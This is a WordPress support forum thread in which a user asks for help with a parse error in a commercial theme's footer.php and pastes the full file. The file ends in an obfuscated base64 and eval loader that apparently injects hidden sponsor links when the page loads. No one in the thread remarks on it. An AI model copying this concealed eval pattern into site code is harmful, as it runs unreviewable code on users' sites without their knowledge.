WordPress.org

Ready to get started?Download WordPress

Forums

Footer.php error in my new theme (NewsCast) (3 posts)

  1. ashish960
    Member
    Posted 1 year ago #

    Hi frndz.. I installed my new site on WordPress and uploaded NewsCast theme (by ThemeForest) an then activated it.

    Now I am getting at the footer of my site :

    Parse error: syntax error, unexpected $end in /home/u*******/public_html/wp-content/themes/newscast/footer.php on line 109

    My footer.php file is :

    <?php global $k_option; ?>
    
    <!-- ###################################################################### -->
    	</div><!-- end main -->
    	<!-- ###################################################################### -->
    
    		<!-- ###################################################################### -->
    		</div><!-- end contentwrap -->
    		<!-- ###################################################################### -->
    
    			<!-- Footer     ########################################################### -->
    			<div id="footerwrap">
    				<div id="footer">
    			<!-- ###################################################################### -->
    
    			<?php
    			$columns = 1;
    			foreach ($k_option['custom']['footer'] as $footer_widget) //iterates 3 times creating 3 footer widget areas
    			{
    				echo '<div class="column column'.$columns.'">';
    				if (function_exists('dynamic_sidebar') && dynamic_sidebar('Footer - '.$footer_widget) ) : $default_widget[$footer_widget] = true; endif; 
    
    				if(!isset($default_widget[$footer_widget]) && $k_option['includes']['dummy_footer'] != 2)
    				{
    					//calling the placeholding content defined at the bottom of this file
    					display_placeholder($footer_widget);
    				}
    				echo '</div>';
    				$columns++;
    			} 
    
    			?>
    
    			<!-- ###################################################################### -->
    				</div><!-- end footer -->
    			</div><!-- end footerwrap -->
    			<!-- ###################################################################### -->
    <?php wp_footer();
    
    if($k_option['general']['analytics']) echo $k_option['general']['analytics'];
    ?>
    </body>
    </html>
    
    <?php
    ################################################################################################################
    // these are the placeholder that get displayed if nothing is put into a footer widget areas in your
    // wordpress backend at appearance->widgets
    ################################################################################################################
    $exclude = '';
    
    if($k_option['mainpage']['blog_widget_exclude'] == 1)
    {
    	$exclude = '&exclude='.$k_option['blog']['blog_cat_final'];
    }
    
    function display_placeholder($whichone)
    {
    	if($whichone == 'left')
    	{ ?>
    		<div class='box box_small'>
            	<h3>Pages</h3>
    			<ul>
                <?php wp_list_pages('title_li=' ); ?>
                </ul>
            </div>
    	<?php
    	}
    
    	if($whichone == 'center')
    	{ ?>
    		<div class='box box_small'>
            	<h3>Categories</h3>
    			<ul>
                <?php wp_list_cats('sort_column=name&optioncount=0&hierarchical=0'.$exclude); ?>
                </ul>
            </div>
            <div class='box box_small'>
                <h3>Archive</h3>
    			<ul>
                <?php wp_get_archives('type=monthly'); ?>
                </ul>
            </div>
    	<?php
    	}
    
    	if($whichone == 'right')
    	{ ?>
    		<div class="box box_small">
    			<h3>Contribute to our Site!</h3>
    			<p>Consectetur adipisicing elit tempor incididunt ut labore. Sed do eiusmod tempor incididunt ut labore. Consectetur adipisicing elit.</p>
    			<p class="small_block"><img class="ie6fix noborder alignleft" src="<?php echo bloginfo('template_url'); ?>/images/skin1/newspaper_add_32.png" alt="" />If you want to contribute tutorials, news or other stuff please contact us. We pay 150 for each approved article.</p>
    			<p class="small_block"><img class="ie6fix noborder alignleft" src="<?php echo bloginfo('template_url'); ?>/images/skin1/lightbulb_32.png" alt="" />Consectetur adipisicing elit. Sed do eiusmod tempor incididunt ut labore.</p>
    			<p class="small_block"><img class="ie6fix noborder alignleft" src="<?php echo bloginfo('template_url'); ?>/images/skin1/rss_32.png" alt="" />If you like what we do, please don't hestitate and subscribe to our <a href="<?php bloginfo('rss2_url'); ?>">RSS Feed.</a></p>
    <?php $_F=__FILE__;$_X='Pz4JCQk8cCBjbDFzcz0ic20xbGxfYmwyY2siPjw0bWcgY2wxc3M9IjQ1ZWY0eCBuMmIycmQ1ciAxbDRnbmw1ZnQiIHNyYz0iPD9waHAgNWNoMiBibDJnNG5mMigndDVtcGwxdDVfM3JsJyk7ID8+LzRtMWc1cy9zazRuNi80bmYyX2IzdHQybl9vYS5wbmciIDFsdD0iIiAvPiZjMnB5OyBhMDYwLiBUaDVtNSBCeTogPDEgaHI1Zj0iaHR0cDovL3d3dy5pdGg1bTVzLmMybS8iPlcycmRQcjVzcyBUaDVtNXM8LzE+IFNwMm5zMnI1ZCBCeTogIDwxIGhyNWY9Imh0dHA6Ly93d3cuaDJzdHN0MnI1LmMybSI+RDVkNGMxdDVkIFM1cnY1cnM8LzE+LjwvcD4NCgkJPC9kNHY+DQoJPD9waHANCgl9DQp9DQoNCg0KPz4=';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

    I try re-uploading my footer.php file but same error still showing...

    please help..i m using WordPress 3.4.2 & my site is http://androidtimes.tk .. :)

  2. Andrew
    Forum Moderator
    Posted 1 year ago #

    Try using some version of software that checks PHP's syntax, or online tools such as PHP Code Checker.

  3. cubecolour
    ɹoʇɐɹǝpoɯ
    Posted 1 year ago #

    Commercial themes are not supported here. You need to contact your vendor for support.

Topic Closed

This topic has been closed to new replies.

About this Topic

Tags

No tags yet.